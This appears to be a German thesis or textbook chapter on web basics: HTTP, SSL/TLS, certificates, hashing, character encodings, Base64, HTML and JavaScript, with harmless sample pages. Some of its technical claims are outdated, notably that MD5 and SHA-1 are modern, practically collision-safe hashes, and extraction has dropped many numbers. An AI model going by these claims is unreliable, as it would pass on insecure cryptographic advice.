16 Grundlagen 16 Date: Sat, 24 Sep :27:39 GMT Content-length: 6323 Die erste Zeile der Anfrage (Request) wird als Request-Line bezeichnet und besteht aus Method, Identifier und Version (Abb. 3). Neben GET gibt es andere Methoden, von denen POST die wichtigste ist. Der Identifier bezeichnet im URL-Format (Uniform Resource Locator) die angeforderte Datei. Das URL-Format hat dabei die Form Zugangsprotokoll://Hostadresse:Port/Pfad 8. Als Zugangsprotokoll (Schema) sind neben http: auch Protokolle wie telnet:, ftp: oder file: möglich. Die Hostadresse kann eine IP-Adresse oder ein logischer Domänenname sein. Letzterer wird über das DNS aufgelöst. Bei der Portnummer handelt es sich um die bei TCP beschriebene Dienstnummer. Üblich für HTTP ist Port 80. Sowohl GET- als auch POST-Requests können zusätzliche Parameter übertragen. Der Request-Line folgen die Zeilen des Headers, der von einer Leerzeile abgeschlossen wird. Im Header wird die Kommunikation um weitere Informationen angereichert. So teilt der Client dem Server mit, welche Arten von Dateien er zu empfangen bereit ist, welche Sprache er bevorzugt und sogar um welchen Browsertyp es sich handelt. Darüber hinaus gibt es eine Vielzahl von weiteren möglichen Headereinträgen. Allerdings sind diese in den Versionen von HTTP nicht einheitlich (vgl ). Abb. 3: Protokollmitschnitt einer GET-Anfrage mit Header in der auch die Protokolle unterhalb der Anwendungsschicht zu erkennen sind Die vom Server erzeugte Antwort (Response) enthält nach einer Statuszeile und einem Header (wieder durch Leerzeile abgeschlossen) den Inhalt der angeforderten Ressource. Die 8 Für HTTP genauer:

17 Grundlagen 17 Länge des Contents teilt der Server im Feld Content-length des Headers mit. Die Statuszeile selbst besteht auf den drei Informationen Version, Statuscode und Erläuterung. Neben 200 OK, sind 302 Moved Temporarily, 404 Not Found oder 500 Internal Server Error bekannte Statuscodes. Zur Übermittlung der Anfrage kann neben einem Browser (üblich) auch jedes andere Programm genutzt werden, das Zeichenströme überträgt. Die Eingabe in Telnet (Abb. 4) muss zweimal mit Return bestätigt werden, da der Kopf der Anfrage mit einer Leerzeile enden muss. Abb. 4: Request an einen HTTP-Server über Telnet und Response Häufig benötigt ein Client zur Darstellung einer HTML-Seite weitere Ressourcen wie Bilder, Stylesheets oder JavaScript. In HTML werden solche Ressourcen über Links in eine Seite eingebunden. Stößt ein Client beim Interpretieren einer HTML-Seite auf einen solchen Link stellt er eine weitere Anfrage an einen Server. In der Antwort enthalten ist auch der Content-Type der gesendeten Ressource. Zur Eingruppierung wird ein MIME-Typ verwendet, der aus dem Medientyp und einem Subtyp besteht. Außerdem wird der verwendete Zeichensatz benannt SSL und S-HTTP Die Kommunikation der bisher beschriebenen Protokolle erfolgt im Klartext. Wie schon beschrieben ging es bei der Entwicklung der Internettechnologie um die Vernetzung von Maschinen und weniger um Vertraulichkeit oder den Schutz privater Daten. Unter dem Begriff Transaktionssicherheit werden in diesem Zusammenhang Fragen der Authentifizierung, Integrität, Uneinsehbarkeit des Inhaltes und der Nicht-Abstreitbarkeit des Absende- oder Empfangsvorganges diskutiert. Technisch stehen mit symmetrischen und asymmetrischen Verschlüsselungsmethoden die benötigten Mittel zur Verfügung Public-Key-Verschlüsselung Die Verwendung von Schlüsselpaaren nach RSA erlaubt es, verschlüsselte Nachrichten zu erstellen, deren Entschlüsselung nur mit dem korrespondierenden zweiten Schlüssel gelingt. Zur Herstellung einer sicheren Verbindung benötigt ein Anbieter ein Schlüsselpaar, dem mathematisch große Primzahlen zugrunde liegen und das daher ohne Probleme erstellt werden kann. Während ein geheimer Schlüssel (private key) beim Anbieter verbleibt, wird der zweite Schlüssel (public key) veröffentlicht. Eine Nachricht, die ein Client mit dem

18 Grundlagen 18 öffentlichen Schlüssel des Anbieters chiffriert, kann nur durch den Anbieter selbst wieder entschlüsselt werden. Umgekehrt garantiert eine verschlüsselte Nachricht, die mit dem öffentlichen Schlüssel entschlüsselt werden kann, dass sie vom Inhaber des privaten Schlüssels, also vom Anbieter, erstellt (signiert) wurde. So löst die Public-Key- Verschlüsselung sowohl die Forderung nach Uneinsehbarkeit der Inhalte als auch nach Authentifizierung und Integrität. Da der öffentliche Schlüssel vorab zur Verfügung steht, kann der Client eine Nachricht an den Anbieter verschlüsseln, ohne dass dieser vorher aktiv werden muss. Im Gegensatz zu diesem asymmetrischen Verfahren benötigt die symmetrische Verschlüsselung nur einen Schlüssel, der beiden Parteien bekannt sein muss. Diese ist erheblich schneller Hashing MD5 und SHA-1 sind moderne kryptografische Hashfunktionen (Message Digest). Bei einer Hashfunktion geht es darum, zu einer Datenmenge eine Zeichenfolge zu erzeugen, die bestimmten Anforderungen genügt. Die Ergebnisse sollen eindeutig sein und keine Rückschlüsse auf die ursprüngliche Eingabe zulassen (Unumkehrbarkeit). Das bedeutet auch, dass kleinste Änderungen in der Eingabe zu einer völlig anderen Ausgabe führen müssen. Auch wenn in der Theorie mit begrenzten (fixen) Ausgabelängen (128 bzw. 160 Bit) keine Kollisionsfreiheit garantiert werden kann, sind die Ergebnisse im Wertebereich so gleichmäßig verteilt, dass es extrem unwahrscheinlich ist, dass in der Praxis zwei Eingaben die gleiche Ausgabe erzeugen. Hashing liefert so einen digitalen Fingerabdruck der Eingabedaten. (Vgl. 9.6) Zertifikate Eine Voraussetzung für den Einsatz der Public-Key-Verschlüsselung im Internet ist die Vertrauenswürdigkeit des öffentlichen Schlüssels. Es muss sichergestellt sein, dass der öffentliche Schlüssel tatsächlich zu dem Anbieter (Institution oder Person) gehört, mit dem der Client eine Verbindung aufbauen will. Um dies zu gewährleisten, wurden Zertifizierungsstellen (Trust Center) eingerichtet. Eine Zertifizierungsstelle erstellt nach Prüfung von Unterlagen (wie Handelsregisterauszug, etc.) ein Zertifikat, indem sie den öffentlichen Schlüssel des Anbieters zusammen mit Angaben zum Inhaber und seiner Domäne mit der eigenen digitalen Unterschrift versieht. Dazu wird aus den Daten mittels einer Hashfunktion ein Fingerabdruck erstellt. Dieser wird durch das Trust Center mit Hilfe des privaten Schlüssels (der Zertifizierungsstelle) signiert (Abb. 5). Um die Vertrauenswürdigkeit eines öffentlichen Schlüssels zu prüfen, entschlüsselt der Client unter Verwendung des öffentlichen Schlüssels (des Trust Centers) den Message Digest des Zertifikates und vergleicht ihn mit dem Fingerabdruck, den er selbst aus den Daten des Zertifikates errechnet. Stimmen beide überein, ist das Zertifikat und damit der öffentliche Schlüssel des Anbieters vertrauenswürdig. Die öffentlichen Schüssel der Trust Center sind auf Internetseiten und in Papierform veröffentlicht und im Lieferumfang von Browsern oder Java-Umgebungen (hier in dem File jre/lib/security/cacerts) enthalten.

19 Grundlagen 19 Abb. 5: Ausgabe des Firefox-Browsers zu einem Zertifikat einer sicheren Verbindung Firewallsysteme Hingewiesen werden soll noch auf eine Konsequenz der Verschlüsselung. Ein sicherer Socket zwischen Client und Server verhindert, dass Systeme dazwischen die Daten lesen und interpretieren können. Firewallsysteme, die oberhalb von Schicht 3 im OSI-Modell arbeiten und später noch eine Rolle spielen, sind auf solchen Verbindungen blind (vgl ) Sicherheit im Protokollstack Es gibt unterschiedliche Ansätze, auf welcher Ebene Dienste zur kryptografischen Absicherung der Übertragung am Günstigsten zu implementieren sind (Abb. 6). In IPv6 sind Mechanismen enthalten, die für darüberliegende Schichten völlig transparent sind. Mit SSL (Secure Socket Layer) führte Netscape 1994 ein Verfahren ein, welches asymmetrische und symmetrische Verschlüsselungsverfahren verwendet, um die Sicherheit einer Verbindung zu gewährleisten. Im Gegensatz zur Absicherung auf Vermittlungsschicht können durch SSL, welches zwischen TCP und höheren Protokollen wie HTTP eingefügt ist, gezielt ausgewählte Protokolle (Sockets) abgesichert werden. SSL ist inzwischen weit verbreitet und auf Port 443 definiert. Die URL beginnt mit https://, weshalb HTTPS oft synonym zu SSL verwendet wird.

20 Grundlagen 20 SSL wurde 1999 als Transport Layer Security (TLS) 1.0 standardisiert, welches im wesentlichen der SSL 3.0 Spezifikation entspricht. In SSL verwenden Client und Server zunächst ein asymmetrisches Verfahren, um eine Authentifizierung durchzuführen und einen gemeinsamen Schlüssel auszuhandeln (SSL-Handshake). Dieser wird anschließend zur Verschlüsselung der Nutzdaten nach einem symmetrischen (schnelleren) Verfahren verwendet. Folgende Schritte laufen ab: 1. Der Client baut eine Verbindung zum Server auf. Dabei schlägt er von ihm unterstützte Kryptoverfahren vor. 2. Der Server wählt geeignete Verfahren, die von beiden Seiten unterstützt werden. Er überträgt sein Zertifikat und gegebenenfalls seinen Beitrag zum Schlüssel für die spätere symmetrische Verschlüsselung. Die Nachricht wird digital unterschrieben. 3. Der Client erzeugt nach erfolgreicher Überprüfung des Zertifikates einen Sitzungsschlüssel und schickt ihn mit dem öffentlichen Schlüssel chiffriert an den Server. 4. Der Server bestätigt den Verbindungsaufbau. Dazu verwendet er bereits die symmetrische Verschlüsselung. Die Nachricht wird wieder digital unterschrieben. Das Protokoll sieht zusätzlich vor, dass auch der Client im Besitz eines gültigen Zertifikates (also eines eigenen Schlüsselpaares) sein muss. Austausch und Überprüfung des Clientzertifikates finden dann beim Verbindungsaufbau zusätzlich statt. Ein Absicherungsverfahren auf der Anwendungsschicht wie S-HTTP erweitert das HTTP- Protokoll selbst um kryptographische Funktionen. Beim Zugriff auf sensitive Daten wird dabei zunächst in der HTTP-Nachricht selbst bzw. im HTML-Dokument die gewünschte Verschlüsselung angefordert, die dann, falls verfügbar, bei der chiffrierten HTTP-Antwort genutzt wird. Abb. 6: Einordnung von Sicherheitsprotokollen; Grafik aus [NUS98] Seite 118

21 Grundlagen Kodierungen (von Zeichenketten) / Internationalisierung ASCII 1968 wurde ASCII als standardisierter Zeichensatz zur Textdarstellung eingeführt. Basierend auf dem lateinischen Alphabet beschreibt ASCII eine Zuordnung von Ganzzahlen zu den in der normalen Schriftsprache geschriebenen Zeichen (Abb. 7). Mit Hilfe dieses Codes können digitale Geräte Textinhalte als Zahlenfolgen senden, empfangen und verarbeiten ISO-8859-x Abb. 7: 7-Bit-ASCII Da die Menge der im ASCII-Code darstellbaren Zeichen nicht ausreichte, wurde die ISO-8859-Familie entwickelt. Als Ein-Byte-Abbildung enthalten alle Zeichensätze dieser Familie 256 mögliche Zeichen. Bei allen Zeichensätzen sind die ersten 128 Zeichen (0-127) identisch mit dem ASCII-Zeichensatz. Das hat den Vorteil, dass die üblichen lateinischen Groß- und Kleinbuchstaben, die arabischen Ziffern und Sonderzeichen wie Satzzeichen oder kaufmännische Zeichen, die in den meisten Sprachen Westeuropas und Amerikas verwendet werden, in all diesen Zeichensätzen zur Verfügung stehen. Es folgen (unbenutzte) Steuerzeichen ( ) und regionale Sonderzeichen ( ), die den Unterschied zwischen den Teilnormen ausmachen. Die im deutschen verwendeten Umlaute (Ä, Ö, Ü, ä, ö, ü und ß) sind in zehn der fünfzehn Teilnormen enthalten. In den zehn Teilnormen der Latin-Gruppe liegen die deutschen Buchstaben jeweils auf den gleichen Positionen, womit eine Kompatibilität zwischen diesen Normen zumindest für deutschsprachige Texte gegeben ist. Global operierende Unternehmen erstellen Software nicht nur für den europäischen oder amerikanischen Markt. Damit einher geht die Anforderung auch Zeichen (und Buchstaben) anderer Sprachen zu unterstützen. Deshalb wurden Zeichensätze eingeführt, die mehr als ein Byte für die Kodierung eines Textzeichens verwenden.

22 Grundlagen Unicode Unicode ist ein Zeichensatz, der alle weltweit bekannten Textzeichen (Buchstaben, Silbenzeichen, Piktogramme, Ideogramme, Satzzeichen, Sonderzeichen und Ziffern) zusammenfassen soll, also auch Zeichen des griechischen, kyrillischen, arabischen, hebräischen und thailändischen Alphabets und die verschiedenen japanischen (Katakana, Hiragana), chinesischen (Kanji) und koreanischen Schriften (Hangul). Das Unicode-Konsortium, das 1991 gegründet wurde und aus Linguisten und anderen Fachleuten besteht, ermittelt die aufzunehmenden Zeichen. Seit Version 2.0 ist das Unicode-System auch mit der 1999 verabschiedeten internationalen Norm ISO synchronisiert, auf der HTML seit Version 4.0 und auch XML ab Version 1.0 aufsetzen. In HTML oder XML werden Zeichen nach der Unicode-Zeichentabelle dezimal ( ) oder hexadezimal ( ) notiert. Der Unicode-Zeichensatz ist in mehrere Ebenen unterteilt. Die Kodierung für Unicode-Zeichen auf der ersten Ebene, der Basic Multilingual Plane (BMP), wird als "Universal Character Set 2" (UCS-2) bezeichnet. Wenn von "Unicode" gesprochen wird, ist meist der Zeichensatz UCS-2 gemeint. UCS-2 wird auch als UTF-16 bezeichnet. In der Version 3.0 vom September 1999 wurden bereits Zeichen aufgelistet. Die Version 3.1 vom März 2001 durchbrach mit Zeichen die Grenze der in zwei Byte abbildbaren Zeichen. Das BMP wurde deshalb von einem Vier-Byte-Schema abgelöst. Als zwei Byte-Zeichensatz ist Unicode mit vielen gebräuchlichen (älteren) Programmen und Datenübertragungsverfahren unvereinbar. Zwar entsprechen die ersten 256 Zeichen im Unicode Zeichensatz dem ISO Zeichensatz. Allerdings stellt sich das Problem, dass die Zeichen aus ISO Latin-1 mit je 8 Bit, die aus UCS-2 hingegen mit je 16 Bit kodiert sind. Der Buchstabe A würde so in Unicode (hexadezimal) mit 0041 dargestellt, während in einem 8-Bit-Zeichensatz zwei Zeichen gelesen würden, von denen das erste nicht darstellbar wäre. Um den Unicode abwärtskompatibel mit ISO Latin-1 zu halten, wurde das "USC Transformation Format 8 Bit" (UTF-8) eingeführt. UTF-8 kann jedes Unicode-Zeichen als Abfolge von Datenwörtern von je 8 Bit Länge ausdrücken und ist inzwischen der De-Fakto-Standard für den Austausch von Unicode-Daten. Durch Umkodierung mit Hilfe des Transformationsformats UTF-8 kann man die mit 16 Bit kodierten Unicode-Zeichen auch in einer 8 Bit-Umgebung verwenden. UTF-8 hat gegenüber UTF-16 (UCS-2) den Vorzug, weitgehend mit herkömmlichen Datei-Systemen, Parsern und anderen Programmen kompatibel zu sein. Da es sich bei ASCII um eine 7-Bit-Codierung handelt, ist das erste (von acht) Bit nie gesetzt. Da diese Eigenschaft charakteristisch ist, wird in UTF-8 jedes ASCII-Zeichen durch sich selbst dargestellt (0xxxxxxx). Der Buchstabe a (ASCII 97) wird binär geschrieben. Werden für ein Zeichen außerhalb des ASCII-Zeichnsatzes mehr als 7 Bits benötigt, enthält das erste Byte der Multi-Byte-Folge u. a. die Längeninformation. Alle folgenden Bytes beginnen mit den Bits 10. Im Beispiel steht x als Platzhalter für die Zeicheninformation (von mehr als sieben Bit). Die Bits werden von rechts nach links gefüllt. Beispiel: 110xxxxx 10xxxxxx (11 Bit), 1110xxxx 10xxxxxx 10xxxxxx (16 Bit)

23 Grundlagen 23 Das erste Byte gibt an, dass die Multi-Byte-Folge aus (insgesamt) zwei Bytes besteht. Nach den einleitenden Bits stehen hier fünf Bits für Zeicheninformation zur Verfügung. Im zweiten Byte der Folge verbleiben nach den einleitenden Bits 10 sechs Bits für die Information. Das dritte Byte schließlich beginnt eine drei Byte lange Multi-Byte-Folge mit insgesamt 16 freien Bits für Zeicheninformationen Darstellung Die Möglichkeit der Kodierung (und Speicherung) ist nicht mit der Möglichkeit der Darstellung gleichzusetzen. Der Unicode-Standard definiert nur Zeichenwerte und Eigenschaften von Zeichen, enthält aber ebenso wenig wie herkömmliche Zeichensätze Angaben darüber, wie das Zeichen darzustellen oder zu verarbeiten ist. Allmählich verbreiten sich Unicode-orientierte Schriftarten in Verbindung mit modernen Betriebssystemen und Anwendungen, die zumindest die BMP des Unicode-Systems unterstützen. Kaum ein Browser (oder Editor) wird in der Lage sein, alle Unicode-Zeichen anzuzeigen. Ebenso fehlen für die meisten Sonderzeichen Tasten auf der Tastatur. Beliebige Unicode-Zeichen lassen sich daher unter anderem in Java als Unicode-escapes in der Form \uxxxx unabhängig von Ein- und Ausgabegeräten schreiben BASE64 BASE64 ist keine Verschlüsselung, sondern ein Verfahren zur Kodierung von Binärdaten wie Programmen, Bildern, ZIP etc. in Zeichen, die in 7-Bit-ASCII enthalten sind. Zur Kodierung werden jeweils drei Byte des Bytestroms (=24 bit) in vier 6-bit-Blöcke aufgeteilt (Abb. 8). Jeder dieser 6-bit-Blöcke bildet eine Zahl zwischen 0 und 63. Diese Zahlen werden an Hand einer Umsetzungstabelle in ASCII-Zeichen umgewandelt. Nach jeweils 76 ausgegebenen Zeichen wird spätestens ein Zeilenumbruch eingefügt, welcher jedoch ansonsten für die Kodierung nicht von Belang ist. Falls die Gesamtanzahl der Eingabebytes nicht durch drei teilbar ist, wird der zu kodierende Text am Ende mit Füllbytes aufgefüllt. Um dem Dekodierer mitzuteilen, wie viele Füllbytes angefügt wurden, werden die 6-Bit-Blöcke, die vollständig aus Füllbytes entstanden sind, mit '=' kodiert. Somit können am Ende einer Base64-kodierten Datei 0, 1 oder 2 '='-Zeichen auftreten. Zur Kodierung werden die Zeichen A-Z, a-z, 0-9, + und /, verwendet, sowie = am Ende. Abb. 8: BASE64 Encoding nach [15]

24 Grundlagen 24 Die in RFC 3548 beschriebene Kodierung, schlägt eine leicht modifizierte Variante vor, welche benutzt werden soll, falls die Zeichen + und / nicht angewendet werden können. Diese werden dann durch - (Minus) und _ (Unterstrich) ersetzt. Das HTTP-Basic-Authentication-Schema verwendet für die Kodierung von Kennung und Passwort die BASE64-Kodierung HTML Aktuell in der Version 4.01 ist HTML die Beschreibungssprache für Internetseiten. HTML ist seit der Version 2.0 (1995) eine Spezialisierung von SGML (Standard Generalized Markup Language), die jedoch wegen ihrer hohen Komplexität nur eine untergeordnete Rolle spielt. Durchgesetzt wiederum hat sich als Beschreibungssprache für Daten XML (extensible Markup Language), eine vereinfachte Teilmenge von SGML. Allen gemeinsam ist eine hierarchische Struktur und die Verwendung von Tags (Auszeichnungen). Tags werden durch spitze Klammern geöffnet (und geschlossen). In XML spricht man von wohlgeformt, falls es zu jedem öffnenden Tag ein schließendes Tag gibt 9. Ein HTML-Dokument beginnt mit dem Tag <html>. Dem schließenden Tag wird in der Klammer ein /-Zeichen vorangestellt (</html>). Auf der nächsten Ebene definiert eine HTML-Seite einen <head> und einen <body>. Darüber hinaus gibt es eine Vielzahl von Tags um Schriftstile, Formatierungen, Bilder, Rahmen, etc. zu definieren. Eine Schwierigkeit in der Entwicklung von HTML-Seiten besteht unter anderem darin, dass nicht alle Browser alle Tags gleich behandeln oder eigene Features definieren, die andere Browser nicht kennen. So unterstützt der Internet Explorer spezielle Tags zur Behandlung von Multimediadaten. Dynamisches HTML (DHTML) wiederum wird im Internet Explorer anders programmiert, als im Firefox (bzw. Netscape Browser). Innerhalb eines Tags können außerdem Attribute definiert werden. So enthält das Meta-Tag (s. u.) die Attribute name und content. Seinen Namen hat HTML durch die (vernetzenden) Hyperlinks, die über die einzelne Seite hinausweisen können und die die Stärke und den Reiz des Internets ausmachen. Zur Definition von Hyperlinks dienen die schon besprochenen Uniform Resource Locators (URLs). Eine einfache HTML-Seite könnte wie folgt aussehen: <html> <head> <title>testseite</title> <meta name="author" content="administrator"> <link rel="stylesheet" href="style.css" type="text/css"> </head> <body> <a href="index.htm"><img src="images/logo.gif" width="200" height="85"></a> <font class="titel">dies ist eine Testseite</font> <br/> </body> </html> 9 Wenn außerdem eine Grammatik vorliegt und eingehalten wird, sprich man von gültig.

25 Grundlagen 25 Diese HTML-Seite ist nicht wohlgeformt, da nicht alle Tags geschlossen werden. Anders als beim <title>-tag fehlt zum Beispiel dem <meta>-tag ein schließendes </meta>. Die Schreibweise <br/> ist die vereinfachte wohlgeformte Darstellung für ein öffnendes und schließendes Tag. Während ein XML-Parser diese Seite nicht verarbeiten würde, wird ein Browser über die Unsauberkeiten hinwegsehen. Die meisten Browser sind gegenüber Fehlern außerordentlich tolerant und stellen eine Seite auch dann dar, wenn der Autor auf wichtige Tags völlig verzichtet hat. Das gleiche gilt für die in Anführungsstrichen geschriebenen Attribute. Der Browser erhebt keine Einwände wenn sie fehlen. Alternativ zu den Doppelstrichen können auch einfache Anführungszeichen verwendet werden. Inzwischen ist es üblich, Stile als Definition von Formatklassen in einem eigenen Dokument zu speichern. Diese Technik wird als Cascading Style Sheet (CSS) bezeichnet und hat den Vorteil, dass Stile (Schrift, Farbe, etc.) an zentraler Stelle verwaltet und geändert werden können. Innerhalb einer HTML-Seite ist es möglich Frames und inner Frames (IFrames) zu definieren. Mit ihnen wird die HTML-Seite logisch geteilt. Während ein Frame eine Seite immer von oben nach unten (bzw. von links nach rechts) vollständig teilt, kann ein IFrame an jeder Stelle (und in jeder Größe) innerhalb der Seite definiert werden. IFrames wurden erst mit HTML 4.0 eingeführt. Für den Inhalt eines Frames muss eine weitere URL angegeben werden Java Für den Navigator 2.0 lizensierte Netscape 1995 die noch junge von SUN entwickelte Programmiersprache Java. In der Syntax ist Java C++ recht ähnlich, übernimmt aber die sensible Speicherverwaltung selbst. So gibt es keine Zeiger (Pointer) und keine Befehle zum Anfordern bzw. Freigeben von Speicher. Im Januar 1996 wurde das Java Development Kit (JDK) 1.0 freigegeben, welches Programmierern die Möglichkeit bot, kleine Anwendungen (Applets) zu schreiben, die der Browser von einer Internetseite laden und auf dem Client ausführen konnte. Grundlage war eine Technik, die aus dem Quellcode einer Java-Anwendung zunächst einen Zwischencode (Bytecode) erzeugte, der später von einem Interpreter ausgeführt wurde. Der Bytecode war (anders als Code in anderen Programmiersprachen) immer gleich und damit plattformunabhängig. Zum Ausführen wurde in jedem Betriebssystem eine Java Runtime Environment (JRE) benötigt, zu denen neben den Bibliotheken der Sprache auch der Bytecode-Interpreter gehörte. Eine solche virtuelle Maschine (JVM) war im Netscape Navigator integriert. Das Konzept fügte sich perfekt in die Internetlandschaft ein und sorgte so nicht zuletzt für den Siegeszug von Java, das inzwischen mit dem SDK 5 eine nahezu allumfassende Funktionalität bereit hält JavaScript Obwohl die Möglichkeiten von HTML (CSS, DHTML, etc.) immer weiter ausgebaut wurden, bleiben sie beschränkt. Bestand das Internetangebot ursprünglich fast ausschließlich aus textueller Information, sind bunte Bilder, Werbebanner und Popup-Fenster ein Preis, an den sich inzwischen die meisten Surfer gewöhnt haben. Umgekehrt erscheinen Seiten, die einfach nur Text darstellen, inzwischen langweilig. 10 Texte werden in JAVA in UTF-16 gespeichert. Inzwischen (ab SDK 5) unterstützt JAVA auch Unicode Ebenen über BMP.

26 Grundlagen 26 Clientseitig war JavaScript eine der Antworten auf die gestiegenen Anforderungen. Java Script ist ein durch den Client interpretierter Java/Basic-Dialekt, der unter anderem Zugriff auf die Elemente der HTML-Seite hat (z. B. window.form.feldname). Die Internetseite (im Browser!) kann mit Hilfe von JavaScript zum Beispiel auf Ereignisse wie die Auswahl in einer Auswahlliste reagieren oder mit Hilfe von dynamischem HTML Teile einer Seite komplett umgestalten, ohne dass eine neue Seite vom Server geladen werden muss. In vielen Webanwendungen wird JavaScript verwendet um Eingaben zu validieren (Felder gefüllt?, Geburtsdatum im richtigen Format?). So wird eine Verbindung zum Server im Falle fehlerhafter Eingaben gar nicht erst aufgebaut, wodurch sich die Belastung des Netzes reduziert. Scripte können anstelle von Hyperlinks notiert werden: <html> <head><title>test</title> <script type="text/javascript"> function Wunsch () { var Ziel = window.prompt("ihr Wunsch-URI:", ""); window.location.href = Ziel; } </script> </head><body> <a href="javascript:wunsch()">wunschverweis</a> </body> </html> Spätestens seit DHTML sind JavaScript kaum mehr Grenzen gesetzt (vgl. 9.7). Dennoch gibt es Einschränkungen. So darf ein Script nicht auf Frames zugreifen, die von einer anderen Domäne geladen wurden. JavaScript kann im Browser abgeschaltet werden, was allerdings teilweise dazu führt, dass der Funktionsumfang des Internetauftrittes (z. B. Auswahl von Menüpunkten) beeinträchtigt ist. Eine HTML-Seite mit JavaScript ist im Folgenden dargestellt. Dabei wird auch deutlich, dass dem Ausführen von JavaScript nicht zwingend eine Benutzeraktion (außer vielleicht das Laden der Seite) vorangehen muss. Das Satellitenfenster im Beispiel öffnet und schließt sich selbständig. <html> <head> <script language="javascript"> function fenster() { var win; win=window.open("","neuesfenster","width=400,height=100"); win.document.write("diese Fenster schließt sich nach 5 Sekunden selbst"); win.settimeout('window.close()',5000); } </script> </head> <body onload="fenster()"> <a href=javascript:fenster()>fenster öffnen</a> </body> </html>

27 Eine typische Web-Anwendung Eine typische Web-Anwendung Elementar für das Verständnis aller Vorgänge im Internet ist es, das Zusammenspiel von Web-Browser und HTML zu verstehen: Durch die Eingabe einer URL wird der Browser veranlaßt eine Ressource zu laden. Ist das eine HTML-Seite, wird der Browser beginnen, diese Seite von oben nach unten zu lesen und zu interpretieren. Er wertet dazu die Tags aus, auf die er stößt. In einem einfachen Fall erkennt er z. B., dass Text, der durch ein <b> eingeleitet wird, bis zum schließenden </b> fett (bold) dargestellt werden soll. Stößt der Browser auf einen Hyperlink, erkennt er, dass zum vollständigen Aufbau der Seite eine weitere Ressource benötigt wird. Er wird eine Verbindung zu dem Server aufbauen, der in der URL des Links angegeben ist und die Ressource laden. Der Server dieser Ressource muss nicht der gleiche Server sein, von dem zuvor die HTML-Seite geladen wurde. Eine URL kann Parameter transportieren und neben HTML-Seiten auch auf Bilder, CSS-Dateien, Applets, Scripte bzw. die Inhalte von Frames verweisen. Auch die neue Ressource wird der Browser behandeln und gegebenenfalls wieder interpretieren. 11 Damit die Eingabe im Browser zur Darstellung einer HTML-Seite führt, müssen viele Systeme zusammenarbeiten: 4.1. Client Dem einfachen Anwender ist der Begriff Client vielleicht gänzlich unbekannt. Selbst dann, wenn er glaubt, sich unter einem Server etwas vorstellen zu können. Vielfach wird Client im WWW einfach mit Browser gleichgesetzt. Doch selbst hier stolpert man früher oder später über die Versionsvielfalt. [NIE00] geht davon aus, dass eine neue Browserversion erst nach zwei Jahren flächendeckend eingesetzt wird. Auch wenn sich die Verbreitung inzwischen beschleunigt hat, muss eine Web-Anwendung mit Browsern unterschiedlicher Hersteller (und ihren Eigenarten) und unterschiedlichen Versionsständen (und mangelhafter Unterstützung neuer Techniken) zurecht kommen. Ein Browser übernimmt gleich mehrere Aufgaben. Zunächst einmal ist ein Browser die Software, die die Verbindung zum Server aufbaut. Dazu nutzt der Browser neben dem DNS vor allem HTTP als Protokoll der Anwendungssschicht 12 und einen Port. Antwortet der Server, richtet der Client eine Verbindung zum Server ein, über die er Daten transportiert. Clientseitig teilt das Betriebssystem der Verbindung eine freie Portnummer zu. Die Tatsache, dass die großen Browser ausgesprochen leistungsfähig und komfortabel sind, ändert nichts 11 Inzwischen können Browser so eingestellt werden, dass sie einige Aktionen, die sicherheitskritisch sein können, unterbinden oder zuvor eine Bestätigung des Anwenders einholen. Nicht jeder Benutzer versteht diese Hinweise und nicht wenige bestätigen die Hinweisfenster mit der Option immer zulassen. 12 Die meisten Browser sind durchaus in der Lage auch ftp:// oder news:// zu nutzen.

28 Eine typische Web-Anwendung 28 daran, dass ein einfacher Client (und auch ein Server) in Sprachen wie Java, in denen alle benötigten Klassen schon zur Verfügung stehen, mit wenigen Zeilen programmiert werden kann (vgl. dazu im Anhang 9.1 bis 9.3). Woher weiß der Browser, von wo er eine Ressource laden soll? Host und Port sind Teil der URL. Ohne eine expliziete Portangabe wird ein Browser für die Verbindung den Port verwenden, der in den Einstellungen des Browsers dem Protokoll zugeordnet ist. Standardmäßig nutzt HTTP den Port 80 (und HTTPS den Port 443). Als Host kann eine IP-Adresse eingegeben werden. Wird statt dessen ein logischer Name verwendet, der nicht schon über die Hosts-Datei des Betriebssystems aufgelöst werden kann 13, versucht der Browser den Namen über DNS aufzulösen. Im Erfolgsfall ist das Ergebnis eine IP-Adresse. Zusammen mit dem Port ergibt sich so das internetweit eindeutige Ziel. Dem Browser kommt aber noch eine zweite wichtige (und komplexe) Aufgabe zu. Einmal geladen, soll die HTML-Seite auch dargestellt werden. Und dazu gehört bei den Möglichkeiten von HTML & Co. inzwischen sehr viel. Obwohl die meisten Anwender als Client einen Browser einsetzen, kann sich der Entwickler einer Web-Anwendung darauf nicht verlassen. Während ein Browser die im HTTP-Protokoll üblichen Informationen übertragen wird und die Antwort entsprechend darstellt, kann der Client eines Angreifers sich völlig anders verhalten Server Ohne den Server wäre der Client ein Rufer in der Wüste und ohne den Client hätte der Server nichts zu tun. Nachdem der Client evaluiert hat, zu welchem Server er eine Verbindung aufzubauen hat, muss dieser ihm auch antworten. Nicht selten kommt es im Internet vor, dass ein Link tot ist. In der Regel liegt das daran, dass zum Domänenname keine IP-Adresse ermittelt werden kann, die Maschine auf dem angegebenen Socket keine Verbindung akzeptiert oder die zur URL gehörige Ressource auf dem Server nicht (mehr) existiert. Ein aktiver Server wartet darauf, dass ein Client auf einem seiner Ports eine Verbindung anfragt. Für eine HTTP-Verbindung ist normalerweise ein Web-Server zuständig. Dieser wird mindestens auf Port 80 aktiv sein 14. Auf dem Markt gibt es eine Reihe von Produkten, die sehr ähnlich arbeiten. Der Server muss die in der HTTP-Anfrage übertragenen Daten verstehen. Im Prinzip ist ein Web-Server dabei nichts anderes als ein Fileserver. Der Client fragt nach einer Datei (Request), die der Server, wenn er sie in seinem Bestand findet, an den Client verschickt (Response). Zum Verständnis von HTTP ist wichtig, dass das Gespräch zwischen Client und Server mit dem Versenden der Datei endet Z. B localhost 14 Nachdem das Betriebssystem einen Prozess für die Kommunikation erzeugt hat, steht der Port zur Annahme weiterer Verbindungen sofort wieder zur Verfügung. 15 Die Tatsache, dass HTTP inzwischen in der Lage ist, eine Verbindung aus Performancegründen über eine kurze Zeit aufrecht zu erhalten, ändern nichts an der grundsätzlichen Zustandslosigkeit von HTTP und dient hier nicht dem Verständnis.

